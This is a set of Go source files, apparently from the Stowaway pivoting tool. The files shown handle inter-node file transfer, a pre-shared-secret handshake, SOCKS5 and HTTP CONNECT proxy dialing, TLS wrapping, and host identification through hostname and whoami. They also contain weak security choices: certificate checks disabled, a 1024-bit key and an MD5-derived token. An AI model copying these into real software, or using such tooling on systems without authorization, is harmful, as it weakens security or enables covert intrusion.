209 | 			return
210 | 		} else if err != nil && err == io.EOF {
211 | 			return
212 | 		}
213 | 
214 | 		fileDataMess := &protocol.FileData{
215 | 			DataLen: uint64(length),
216 | 			Data:    buffer[:length],
217 | 		}
218 | 
219 | 		protocol.ConstructMessage(sMessage, dataHeader, fileDataMess, false)
220 | 		sMessage.SendMessage()
221 | 
222 | 		if identity == ADMIN {
223 | 			file.StatusChan <- &Status{Stat: ADD, Scale: int64(length)}
224 | 		}
225 | 	}
226 | 
227 | }
228 | 
229 | func (file *MyFile) Receive(route string, targetUUID string, identity int) {
230 | 	if identity == ADMIN {
231 | 		fmt.Println("\n[*] File transmitting, please wait...")
232 | 		file.StatusChan <- &Status{Stat: START}
233 | 	}
234 | 
235 | 	defer func() {
236 | 		if identity == ADMIN {
237 | 			file.StatusChan <- &Status{Stat: DONE}
238 | 		}
239 | 		runtime.GC()
240 | 		file.Handler.Close()
241 | 	}()
242 | 
243 | 	for num := 0; num < int(file.SliceNum); num++ {
244 | 		select {
245 | 		case <-file.ErrChan:
246 | 			return
247 | 		case data := <-file.DataChan:
248 | 			if identity == ADMIN {
249 | 				file.StatusChan <- &Status{Stat: ADD, Scale: int64(len(data))}
250 | 			}
251 | 			file.Handler.Write(data)
252 | 		}
253 | 	}
254 | }
255 | 
256 | func (file *MyFile) Ask4Download(route string, targetUUID string) {
257 | 	sMessage := protocol.NewDownMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID)
258 | 
259 | 	header := &protocol.Header{
260 | 		Sender:      global.G_Component.UUID,
261 | 		Accepter:    targetUUID,
262 | 		MessageType: protocol.FILEDOWNREQ,
263 | 		RouteLen:    uint32(len([]byte(route))),
264 | 		Route:       route,
265 | 	}
266 | 
267 | 	fileDownReqMess := &protocol.FileDownReq{
268 | 		FilePathLen: uint32(len([]byte(file.FilePath))),
269 | 		FilePath:    file.FilePath,
270 | 		FilenameLen: uint32(len([]byte(file.FileName))),
271 | 		Filename:    file.FileName,
272 | 	}
273 | 
274 | 	protocol.ConstructMessage(sMessage, header, fileDownReqMess, false)
275 | 	sMessage.SendMessage()
276 | }
277 | 


--------------------------------------------------------------------------------
/share/preauth.go:
--------------------------------------------------------------------------------
 1 | package share
 2 | 
 3 | import (
 4 | 	"errors"
 5 | 	"io"
 6 | 	"net"
 7 | 	"time"
 8 | 
 9 | 	"Stowaway/utils"
10 | )
11 | 
12 | var AuthToken string
13 | 
14 | func GeneratePreAuthToken(secret string) {
15 | 	token := utils.GetStringMd5(secret)
16 | 	AuthToken = token[:16]
17 | }
18 | 
19 | func ActivePreAuth(conn net.Conn) error {
20 | 	var NOT_VALID = errors.New("invalid secret, check the secret")
21 | 	var TIMEOUT = errors.New("connection timeout")
22 | 
23 | 	defer conn.SetReadDeadline(time.Time{})
24 | 	conn.SetReadDeadline(time.Now().Add(10 * time.Second))
25 | 
26 | 	conn.Write([]byte(AuthToken))
27 | 
28 | 	buffer := make([]byte, 16)
29 | 	count, err := io.ReadFull(conn, buffer)
30 | 
31 | 	if timeoutErr, ok := err.(net.Error); ok && timeoutErr.Timeout() {
32 | 		conn.Close()
33 | 		return TIMEOUT
34 | 	}
35 | 
36 | 	if err != nil {
37 | 		conn.Close()
38 | 		return errors.New(err.Error())
39 | 	}
40 | 
41 | 	if string(buffer[:count]) == AuthToken {
42 | 		return nil
43 | 	}
44 | 
45 | 	conn.Close()
46 | 
47 | 	return NOT_VALID
48 | }
49 | 
50 | func PassivePreAuth(conn net.Conn) error {
51 | 	var NOT_VALID = errors.New("invalid secret, check the secret")
52 | 	var TIMEOUT = errors.New("connection timeout")
53 | 
54 | 	defer conn.SetReadDeadline(time.Time{})
55 | 	conn.SetReadDeadline(time.Now().Add(10 * time.Second))
56 | 
57 | 	buffer := make([]byte, 16)
58 | 	count, err := io.ReadFull(conn, buffer)
59 | 
60 | 	if timeoutErr, ok := err.(net.Error); ok && timeoutErr.Timeout() {
61 | 		conn.Close()
62 | 		return TIMEOUT
63 | 	}
64 | 
65 | 	if err != nil {
66 | 		conn.Close()
67 | 		return errors.New(err.Error())
68 | 	}
69 | 
70 | 	if string(buffer[:count]) == AuthToken {
71 | 		conn.Write([]byte(AuthToken))
72 | 		return nil
73 | 	}
74 | 
75 | 	conn.Close()
76 | 
77 | 	return NOT_VALID
78 | }
79 | 


--------------------------------------------------------------------------------
/share/proxy.go:
--------------------------------------------------------------------------------
  1 | package share
  2 | 
  3 | import (
  4 | 	"encoding/binary"
  5 | 	"errors"
  6 | 	"fmt"
  7 | 	"io"
  8 | 	"net"
  9 | 	"strconv"
 10 | 
 11 | 	"Stowaway/utils"
 12 | )
 13 | 
 14 | type Proxy interface {
 15 | 	Dial() (net.Conn, error)
 16 | }
 17 | 
 18 | type Socks5Proxy struct {
 19 | 	PeerAddr  string
 20 | 	ProxyAddr string
 21 | 	UserName  string
 22 | 	Password  string
 23 | }
 24 | 
 25 | func NewSocks5Proxy(peerAddr, proxyAddr, username, password string) *Socks5Proxy {
 26 | 	proxy := new(Socks5Proxy)
 27 | 	proxy.PeerAddr = peerAddr
 28 | 	proxy.ProxyAddr = proxyAddr
 29 | 	proxy.UserName = username
 30 | 	proxy.Password = password
 31 | 	return proxy
 32 | }
 33 | 
 34 | func (proxy *Socks5Proxy) Dial() (net.Conn, error) {
 35 | 	var NOT_SUPPORT = errors.New("unknown protocol")
 36 | 	var WRONG_AUTH = errors.New("wrong auth method")
 37 | 	var SERVER_ERROR = errors.New("proxy server error")
 38 | 	var TOO_LONG = errors.New("user/pass too long(max 255)")
 39 | 	var AUTH_FAIL = errors.New("wrong username/password")
 40 | 
 41 | 	proxyConn, err := net.Dial("tcp", proxy.ProxyAddr)
 42 | 	if err != nil {
 43 | 		return proxyConn, err
 44 | 	}
 45 | 
 46 | 	host, portS, err := net.SplitHostPort(proxy.PeerAddr)
 47 | 	if err != nil {
 48 | 		return proxyConn, err
 49 | 	}
 50 | 	portUint64, err := strconv.ParseUint(portS, 10, 16)
 51 | 	if err != nil {
 52 | 		return proxyConn, err
 53 | 	}
 54 | 
 55 | 	port := uint16(portUint64)
 56 | 	portB := make([]byte, 2)
 57 | 	binary.BigEndian.PutUint16(portB, port)
 58 | 	// No Auth
 59 | 	if proxy.UserName == "" && proxy.Password == "" {
 60 | 		proxyConn.Write([]byte{0x05, 0x01, 0x00})
 61 | 	} else {
 62 | 		// u and p
 63 | 		proxyConn.Write([]byte{0x05, 0x01, 0x02})
 64 | 	}
 65 | 
 66 | 	authWayBuf := make([]byte, 2)
 67 | 
 68 | 	_, err = io.ReadFull(proxyConn, authWayBuf)
 69 | 	if err != nil {
 70 | 		return proxyConn, err
 71 | 	}
 72 | 
 73 | 	if authWayBuf[0] == 0x05 {
 74 | 		switch authWayBuf[1] {
 75 | 		case 0x00:
 76 | 		case 0x02:
 77 | 			userLen := len(proxy.UserName)
 78 | 			passLen := len(proxy.Password)
 79 | 			if userLen > 255 || passLen > 255 {
 80 | 				return proxyConn, TOO_LONG
 81 | 			}
 82 | 
 83 | 			buff := make([]byte, 0, 3+userLen+passLen)
 84 | 			buff = append(buff, 0x01, byte(userLen))
 85 | 			buff = append(buff, []byte(proxy.UserName)...)
 86 | 			buff = append(buff, byte(passLen))
 87 | 			buff = append(buff, []byte(proxy.Password)...)
 88 | 			proxyConn.Write(buff)
 89 | 
 90 | 			responseBuf := make([]byte, 2)
 91 | 			_, err = io.ReadFull(proxyConn, responseBuf)
 92 | 			if err != nil {
 93 | 				return proxyConn, err
 94 | 			}
 95 | 
 96 | 			if responseBuf[0] == 0x01 {
 97 | 				if responseBuf[1] == 0x00 {
 98 | 					break
 99 | 				} else {
100 | 					return proxyConn, AUTH_FAIL
101 | 				}
102 | 			} else {
103 | 				return proxyConn, NOT_SUPPORT
104 | 			}
105 | 		case 0xff:
106 | 			return proxyConn, WRONG_AUTH
107 | 		default:
108 | 			return proxyConn, NOT_SUPPORT
109 | 		}
110 | 
111 | 		var (
112 | 			buff []byte
113 | 			ip   net.IP
114 | 		)
115 | 		isV4 := utils.CheckIfIP4(host)
116 | 		if isV4 {
117 | 			buff = make([]byte, 0, 10)
118 | 			ip = net.ParseIP(host).To4()
119 | 			buff = append(buff, []byte{0x05, 0x01, 0x00, 0x01}...)
120 | 		} else {
121 | 			buff = make([]byte, 0, 22)
122 | 			ip = net.ParseIP(host).To16()
123 | 			buff = append(buff, []byte{0x05, 0x01, 0x00, 0x04}...)
124 | 		}
125 | 		buff = append(buff, []byte(ip)...)
126 | 		buff = append(buff, portB...)
127 | 		proxyConn.Write(buff)
128 | 
129 | 		respBuf := make([]byte, 4)
130 | 		_, err = io.ReadFull(proxyConn, respBuf)
131 | 		if err != nil {
132 | 			return proxyConn, err
133 | 		}
134 | 		if respBuf[0] == 0x05 {
135 | 			if respBuf[1] != 0x00 {
136 | 				return proxyConn, SERVER_ERROR
137 | 			}
138 | 			switch respBuf[3] {
139 | 			case 0x01:
140 | 				resultBuf := make([]byte, 6)
141 | 				_, err = io.ReadFull(proxyConn, resultBuf)
142 | 			case 0x04:
143 | 				resultBuf := make([]byte, 18)
144 | 				_, err = io.ReadFull(proxyConn, resultBuf)
145 | 			default:
146 | 				return proxyConn, NOT_SUPPORT
147 | 			}
148 | 			if err != nil {
149 | 				return proxyConn, err
150 | 			}
151 | 
152 | 			return proxyConn, nil
153 | 		} else {
154 | 			return proxyConn, NOT_SUPPORT
155 | 		}
156 | 	} else {
157 | 		return proxyConn, NOT_SUPPORT
158 | 	}
159 | }
160 | 
161 | type HTTPProxy struct {
162 | 	PeerAddr  string
163 | 	ProxyAddr string
164 | }
165 | 
166 | func NewHTTPProxy(peerAddr, proxyAddr string) *HTTPProxy {
167 | 	proxy := new(HTTPProxy)
168 | 	proxy.PeerAddr = peerAddr
169 | 	proxy.ProxyAddr = proxyAddr
170 | 	return proxy
171 | }
172 | 
173 | func (proxy *HTTPProxy) Dial() (net.Conn, error) {
174 | 	var SERVER_ERROR = errors.New("proxy server error")
175 | 	var RESPONSE_TOO_LARGE = errors.New("http connect response is too large > 40KB")
176 | 
177 | 	proxyConn, err := net.Dial("tcp", proxy.ProxyAddr)
178 | 	if err != nil {
179 | 		return proxyConn, SERVER_ERROR
180 | 	}
181 | 
182 | 	var http_proxy_payload_template = "CONNECT %s HTTP/1.1\r\n" +
183 | 		"Content-Length: 0\r\n\r\n"
184 | 	var payload = fmt.Sprintf(http_proxy_payload_template, proxy.PeerAddr)
185 | 	var buf = []byte(payload)
186 | 
187 | 	proxyConn.Write(buf)
188 | 
189 | 	var done = "\r\n\r\n"
190 | 	var success = "HTTP/1.1 200"
191 | 	var begin = 0
192 | 	var resultBuf = make([]byte, 40960)
193 | 
194 | 	for {
195 | 		count, err := proxyConn.Read(resultBuf[begin:])
196 | 		if err != nil {
197 | 			return proxyConn, SERVER_ERROR
198 | 		}
199 | 
200 | 		begin += count
201 | 		if begin >= 40960 {
202 | 			return proxyConn, RESPONSE_TOO_LARGE
203 | 		}
204 | 
205 | 		if string(resultBuf[begin-4:begin]) == done {
206 | 			if string(resultBuf[:len(success)]) == success {
207 | 				return proxyConn, nil
208 | 			}
209 | 			return proxyConn, SERVER_ERROR
210 | 		}
211 | 	}
212 | }
213 | 


--------------------------------------------------------------------------------
/share/transport/tls.go:
--------------------------------------------------------------------------------
  1 | package transport
  2 | 
  3 | import (
  4 | 	"crypto/rand"
  5 | 	"crypto/rsa"
  6 | 	"crypto/tls"
  7 | 	"crypto/x509"
  8 | 	"encoding/pem"
  9 | 	"math/big"
 10 | 	"os"
 11 | )
 12 | 
 13 | // Not used temporarily
 14 | func newCustomTLSKeyPair(certfile, keyfile string) (*tls.Certificate, error) {
 15 | 	tlsCert, err := tls.LoadX509KeyPair(certfile, keyfile)
 16 | 	if err != nil {
 17 | 		return nil, err
 18 | 	}
 19 | 	return &tlsCert, nil
 20 | }
 21 | 
 22 | func newRandomTLSKeyPair() *tls.Certificate {
 23 | 	key, err := rsa.GenerateKey(rand.Reader, 1024)
 24 | 	if err != nil {
 25 | 		panic(err)
 26 | 	}
 27 | 	template := x509.Certificate{SerialNumber: big.NewInt(1)}
 28 | 	certDER, err := x509.CreateCertificate(
 29 | 		rand.Reader,
 30 | 		&template,
 31 | 		&template,
 32 | 		&key.PublicKey,
 33 | 		key)
 34 | 	if err != nil {
 35 | 		panic(err)
 36 | 	}
 37 | 	keyPEM := pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(key)})
 38 | 	certPEM := pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: certDER})
 39 | 
 40 | 	tlsCert, err := tls.X509KeyPair(certPEM, keyPEM)
 41 | 	if err != nil {
 42 | 		panic(err)
 43 | 	}
 44 | 	return &tlsCert
 45 | }
 46 | 
 47 | // Not used temporarily
 48 | // Only support one ca file to add
 49 | func newCertPool(caPath string) (*x509.CertPool, error) {
 50 | 	pool := x509.NewCertPool()
 51 | 
 52 | 	caCrt, err := os.ReadFile(caPath)
 53 | 	if err != nil {
 54 | 		return nil, err
 55 | 	}
 56 | 
 57 | 	pool.AppendCertsFromPEM(caCrt)
 58 | 
 59 | 	return pool, nil
 60 | }
 61 | 
 62 | func NewServerTLSConfig() (*tls.Config, error) {
 63 | 	var base = &tls.Config{}
 64 | 
 65 | 	// Not used temporarily
 66 | 
 67 | 	// if certPath == "" || keyPath == "" {
 68 | 	// 	// server will generate tls conf by itself
 69 | 	// 	cert := newRandomTLSKeyPair()
 70 | 	// 	base.Certificates = []tls.Certificate{*cert}
 71 | 	// } else {
 72 | 	// 	cert, err := newCustomTLSKeyPair(certPath, keyPath)
 73 | 	// 	if err != nil {
 74 | 	// 		return nil, err
 75 | 	// 	}
 76 | 
 77 | 	// 	base.Certificates = []tls.Certificate{*cert}
 78 | 	// }
 79 | 
 80 | 	// if caPath != "" {
 81 | 	// 	pool, err := newCertPool(caPath)
 82 | 	// 	if err != nil {
 83 | 	// 		return nil, err
 84 | 	// 	}
 85 | 
 86 | 	// 	base.ClientAuth = tls.RequireAndVerifyClientCert
 87 | 	// 	base.ClientCAs = pool
 88 | 	// }
 89 | 
 90 | 	cert := newRandomTLSKeyPair()
 91 | 	base.Certificates = []tls.Certificate{*cert}
 92 | 
 93 | 	return base, nil
 94 | }
 95 | 
 96 | func NewClientTLSConfig(serverName string) (*tls.Config, error) {
 97 | 	var base = &tls.Config{}
 98 | 
 99 | 	// Not used temporarily
100 | 
101 | 	// if caPath != "" {
102 | 	// 	pool, err := newCertPool(caPath)
103 | 	// 	if err != nil {
104 | 	// 		return nil, err
105 | 	// 	}
106 | 
107 | 	// 	base.RootCAs = pool
108 | 	// 	base.InsecureSkipVerify = false
109 | 	// } else {
110 | 	// 	base.InsecureSkipVerify = true
111 | 	// }
112 | 
113 | 	base.InsecureSkipVerify = true
114 | 	base.ServerName = serverName
115 | 
116 | 	return base, nil
117 | }
118 | 


--------------------------------------------------------------------------------
/share/transport/wrapper.go:
--------------------------------------------------------------------------------
 1 | package transport
 2 | 
 3 | import (
 4 | 	"crypto/tls"
 5 | 	"net"
 6 | )
 7 | 
 8 | func WrapTLSClientConn(c net.Conn, tlsConfig *tls.Config) (out net.Conn) {
 9 | 	out = tls.Client(c, tlsConfig)
10 | 	return
11 | }
12 | 
13 | func WrapTLSServerConn(c net.Conn, tlsConfig *tls.Config) (out net.Conn) {
14 | 	out = tls.Server(c, tlsConfig)
15 | 	return
16 | }
17 | 


--------------------------------------------------------------------------------
/utils/utils.go:
--------------------------------------------------------------------------------
  1 | package utils
  2 | 
  3 | import (
  4 | 	"crypto/md5"
  5 | 	"encoding/hex"
  6 | 	"errors"
  7 | 	"math/rand"
  8 | 	"os/exec"
  9 | 	"runtime"
 10 | 	"strconv"
 11 | 	"strings"
 12 | 	"time"
 13 | 
 14 | 	"github.com/gofrs/uuid"
 15 | 	"golang.org/x/text/encoding/simplifiedchinese"
 16 | )
 17 | 
 18 | func GenerateUUID() string {
 19 | 	u2, _ := uuid.NewV4()
 20 | 	uu := strings.Replace(u2.String(), "-", "", -1)
 21 | 	uuid := uu[11:21]
 22 | 	return uuid
 23 | }
 24 | 
 25 | func GetStringMd5(s string) string {
 26 | 	md5 := md5.New()
 27 | 	md5.Write([]byte(s))
 28 | 	md5Str := hex.EncodeToString(md5.Sum(nil))
 29 | 	return md5Str
 30 | }
 31 | 
 32 | func StringSliceReverse(src []string) {
 33 | 	if src == nil {
 34 | 		return
 35 | 	}
 36 | 	count := len(src)
 37 | 	mid := count / 2
 38 | 	for i := 0; i < mid; i++ {
 39 | 		tmp := src[i]
 40 | 		src[i] = src[count-1]
 41 | 		src[count-1] = tmp
 42 | 		count--
 43 | 	}
 44 | }
 45 | 
 46 | func Str2Int(str string) (int, error) {
 47 | 	num, err := strconv.ParseInt(str, 10, 32)
 48 | 	return int(uint32(num)), err
 49 | }
 50 | 
 51 | func Int2Str(num int) string {
 52 | 	b := strconv.Itoa(num)
 53 | 	return b
 54 | }
 55 | 
 56 | func CheckSystem() (sysType uint32) {
 57 | 	var os = runtime.GOOS
 58 | 	switch os {
 59 | 	case "windows":
 60 | 		sysType = 0x01
 61 | 	case "linux":
 62 | 		sysType = 0x02
 63 | 	default:
 64 | 		sysType = 0x03
 65 | 	}
 66 | 	return
 67 | }
 68 | 
 69 | func GetSystemInfo() (string, string) {
 70 | 	var os = runtime.GOOS
 71 | 	switch os {
 72 | 	case "windows":
 73 | 		fallthrough
 74 | 	case "linux":
 75 | 		fallthrough
 76 | 	case "darwin":
 77 | 		hostname, err := exec.Command("hostname").Output()
 78 | 		if err != nil {
 79 | 			hostname = []byte("Null")
 80 | 		}
 81 | 		username, err := exec.Command("whoami").Output()
 82 | 		if err != nil {
 83 | 			username = []byte("Null")
 84 | 		}
 85 | 
 86 | 		fHostname := strings.TrimRight(string(hostname), " \t\r\n")
 87 | 		fUsername := strings.TrimRight(string(username), " \t\r\n")
 88 | 
 89 | 		return fHostname, fUsername
 90 | 	default:
 91 | 		return "NULL", "NULL"
 92 | 	}
 93 | }
 94 | 
 95 | func CheckIPPort(info string) (normalAddr string, reuseAddr string, err error) {
 96 | 	var (
 97 | 		readyIP   string
 98 | 		readyPort int
 99 | 	)
100 | 
101 | 	spliltedInfo := strings.Split(info, ":")
102 | 
103 | 	if len(spliltedInfo) == 1 {
104 | 		readyIP = "0.0.0.0"
105 | 		readyPort, err = strconv.Atoi(info)
106 | 	} else if len(spliltedInfo) == 2 {
107 | 		readyIP = spliltedInfo[0]
108 | 		readyPort, err = strconv.Atoi(spliltedInfo[1])
109 | 	} else {
110 | 		err = errors.New("please input either port(1~65535) or ip:port(1-65535)")
111 | 		return
112 | 	}
113 | 
114 | 	if err != nil || readyPort < 1 || readyPort > 65535 || readyIP == "" {
115 | 		err = errors.New("please input either port(1~65535) or ip:port(1-65535)")
116 | 		return
117 | 	}
118 | 
119 | 	normalAddr = readyIP + ":" + strconv.Itoa(readyPort)
120 | 	reuseAddr = "0.0.0.0:" + strconv.Itoa(readyPort)
121 | 
122 | 	return
123 | }
124 | 
125 | func CheckIfIP4(ip string) bool {
126 | 	for i := 0; i < len(ip); i++ {
127 | 		switch ip[i] {
128 | 		case '.':
129 | 			return true
130 | 		case ':':
131 | 			return false
132 | 		}
133 | 	}
134 | 	return false
135 | }
136 | 
137 | func CheckRange(nodes []int) {
138 | 	for m := len(nodes) - 1; m > 0; m-- {
139 | 		var flag bool = false
140 | 		for n := 0; n < m; n++ {
141 | 			if nodes[n] > nodes[n+1] {
142 | 				temp := nodes[n]
143 | 				nodes[n] = nodes[n+1]
144 | 				nodes[n+1] = temp
145 | 				flag = true
146 | 			}
147 | 		}
148 | 		if !flag {
149 | 			break
150 | 		}
151 | 	}
152 | }
153 | 
154 | func GetDigitLen(num int) int {
155 | 	var length int
156 | 	for {
157 | 		num = num / 10
158 | 		if num != 0 {
159 | 			length++
160 | 		} else {
161 | 			length++
162 | 			return length
163 | 		}
164 | 	}
165 | }
166 | 
167 | func GetRandomString(l int) string {
168 | 	str := "0123456789abcdefghijklmnopqrstuvwxyz"
169 | 	bytes := []byte(str)
170 | 	result := []byte{}
171 | 	r := rand.New(rand.NewSource(time.Now().UnixNano()))
172 | 	for i := 0; i < l; i++ {
173 | 		result = append(result, bytes[r.Intn(len(bytes))])
174 | 	}
175 | 	return string(result)
176 | }
177 | 
178 | func GetRandomInt(max int) int {
179 | 	r := rand.New(rand.NewSource(time.Now().UnixNano()))
180 | 	return r.Intn(max)
181 | }
182 | 
183 | func ParseFileCommand(commands []string) (string, string, error) {
184 | 	if len(commands) == 2 {
185 | 		return commands[0], commands[1], nil
186 | 	} else if len(commands) > 2 {
187 | 		var count int
188 | 		full := strings.Join(commands, " ")
189 | 
190 | 		for _, char := range full {
191 | 			if char == '"' {
192 | 				count++
193 | 			}
194 | 		}
195 | 
196 | 		print("count is ", count)
197 | 
198 | 		if count > 0 && count%2 == 0 {
199 | 			var final []string
200 | 			for _, part := range strings.Split(full, "\"") {
201 | 				if ready := strings.Trim(part, " \t\r\n"); ready != "" {
202 | 					final = append(final, ready)
203 | 				}
204 | 			}
205 | 
206 | 			if len(final) == 2 {
207 | 				return final[0], final[1], nil
208 | 			} else {
209 | 				return "", "", errors.New("wrong format")
210 | 			}
211 | 		} else {
212 | 			return "", "", errors.New("wrong format")
213 | 		}
214 | 	}
215 | 
216 | 	return "", "", errors.New("not enough arguments")
217 | }
218 | 
219 | func ConvertStr2GBK(str string) string {
220 | 	ret, err := simplifiedchinese.GBK.NewEncoder().String(str)
221 | 	if err != nil {
222 | 		ret = str
223 | 	}
224 | 	return ret
225 | }
226 | 
227 | func ConvertGBK2Str(gbkStr string) string {
228 | 	ret, err := simplifiedchinese.GBK.NewDecoder().String(gbkStr)
229 | 	if err != nil {
230 | 		ret = gbkStr
231 | 	}
232 | 	return ret
233 | 
234 | }
235 | 


--------------------------------------------------------------------------------